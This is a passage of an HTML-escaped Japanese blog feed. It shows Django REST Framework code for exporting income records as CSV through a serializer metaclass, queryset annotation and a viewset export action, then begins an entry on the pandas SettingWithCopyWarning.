&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; attrs[&lt;span style="color:#e6db74"&gt;&amp;#34;annotate&amp;#34;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; cls&lt;span style="color:#f92672"&gt;.&lt;/span&gt;annotate &lt;span style="color:#75715e"&gt;# クエリセットをアノテートさせるクラスメソッド &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; super()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;__new__&lt;/span&gt;(cls, name, bases, attrs, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="実際のメタクラス"&gt;実際のメタクラス&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;IncomeExpporSerializerMetaclass&lt;/span&gt;(ExpporSerializerMetaclass):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# (ラベル, フィールド名, フィールドクラス名)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; EXPORT_META &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#e6db74"&gt;&amp;#34;会社コード&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;order__company_code&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;CharField&amp;#34;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;....&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# フィールドクラスのデフォルト値&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; FIELD_CLASS_DEFAULTS &lt;span style="color:#f92672"&gt;=&lt;/span&gt; dict(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; CharField&lt;span style="color:#f92672"&gt;=&lt;/span&gt;dict(read_only&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; DecimalField&lt;span style="color:#f92672"&gt;=&lt;/span&gt;dict(max_digits&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;, decimal_places&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, read_only&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@classmethod&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;annotate&lt;/span&gt;(cls, queryset):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34; クエリセットを適切にアノテートする&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_ann&lt;/span&gt;(item):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; label, name, klass &lt;span style="color:#f92672"&gt;=&lt;/span&gt; item
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; name&lt;span style="color:#f92672"&gt;.&lt;/span&gt;startswith(&lt;span style="color:#e6db74"&gt;&amp;#34;order__&amp;#34;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# リレーション&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (name, F(name))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; name&lt;span style="color:#f92672"&gt;.&lt;/span&gt;startswith(&lt;span style="color:#e6db74"&gt;&amp;#34;meme__&amp;#34;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 固定値&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (name, Value(&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# その他はモデルフィールドなのでアノテートしない&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ann &lt;span style="color:#f92672"&gt;=&lt;/span&gt; dict(filter(&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: i[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, map(_ann, cls&lt;span style="color:#f92672"&gt;.&lt;/span&gt;EXPORT_META)))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; queryset&lt;span style="color:#f92672"&gt;.&lt;/span&gt;annotate(&lt;span style="color:#f92672"&gt;**&lt;/span&gt;ann)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="実際のシリアライザ"&gt;実際のシリアライザ&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;IncomeExportSerializer&lt;/span&gt;(serializers&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ModelSerializer, metaclass&lt;span style="color:#f92672"&gt;=&lt;/span&gt;IncomeExpporSerializerMetaclass):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Meta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Income
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="api-本体ビューセット"&gt;API 本体(ビューセット)&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;IncomeViewSet&lt;/span&gt;(VS&lt;span style="color:#f92672"&gt;.&lt;/span&gt;BaseModelViewSet):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; serializer_class &lt;span style="color:#f92672"&gt;=&lt;/span&gt; serializers&lt;span style="color:#f92672"&gt;.&lt;/span&gt;IncomeSerializer
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; queryset &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Income&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;all()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pagination_class &lt;span style="color:#f92672"&gt;=&lt;/span&gt; paginations&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Pagination
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; renderer_classes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tuple(api_settings&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DEFAULT_RENDERER_CLASSES) &lt;span style="color:#f92672"&gt;+&lt;/span&gt; (DataFrameCSVRenderer,)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_serializer_class&lt;/span&gt;(self):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34; export アクションでシリアライザを切り替える &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;export&amp;#34;&lt;/span&gt;: serializers&lt;span style="color:#f92672"&gt;.&lt;/span&gt;IncomeExportSerializer,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;action, super()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_serializer_class())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; res
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_queryset&lt;/span&gt;(self):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34; export アクションの場合、必要なアノテーションを行う &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; qs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; super()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_queryset()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;action &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;export&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; qs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; serializers&lt;span style="color:#f92672"&gt;.&lt;/span&gt;IncomeExportSerializer&lt;span style="color:#f92672"&gt;.&lt;/span&gt;annotate(qs)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;filter(level&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; qs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; qs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@decorators.action&lt;/span&gt;(methods&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;get&amp;#34;&lt;/span&gt;], detail&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;export&lt;/span&gt;(self, request, pk&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;## リスト処理を行うと シリアライザとレンダラで勝手にCSVを返答する(Accept: text/csvの時)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;list(request)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>pandas SettingWithCopyWarning: A value is trying to be set on a copy of a slice from a DataFrame.</title><link>https://hdknr.github.io/blogs/posts/2023/08/pandas-settingwithcopywarning-a-value-is-trying-to-be-set-on-a-copy-of-a-slice-from-a-dataframe./</link><pubDate>Sun, 20 Aug 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/08/pandas-settingwithcopywarning-a-value-is-trying-to-be-set-on-a-copy-of-a-slice-from-a-dataframe./</guid><description>&lt;h1 id="pandas---settingwithcopywarning-a-value-is-trying-to-be-set-on-a-copy-of-a-slice-from-a-dataframe"&gt;pandas : &lt;code&gt; SettingWithCopyWarning: A value is trying to be set on a copy of a slice from a DataFrame.&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;どちらでも Warning:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
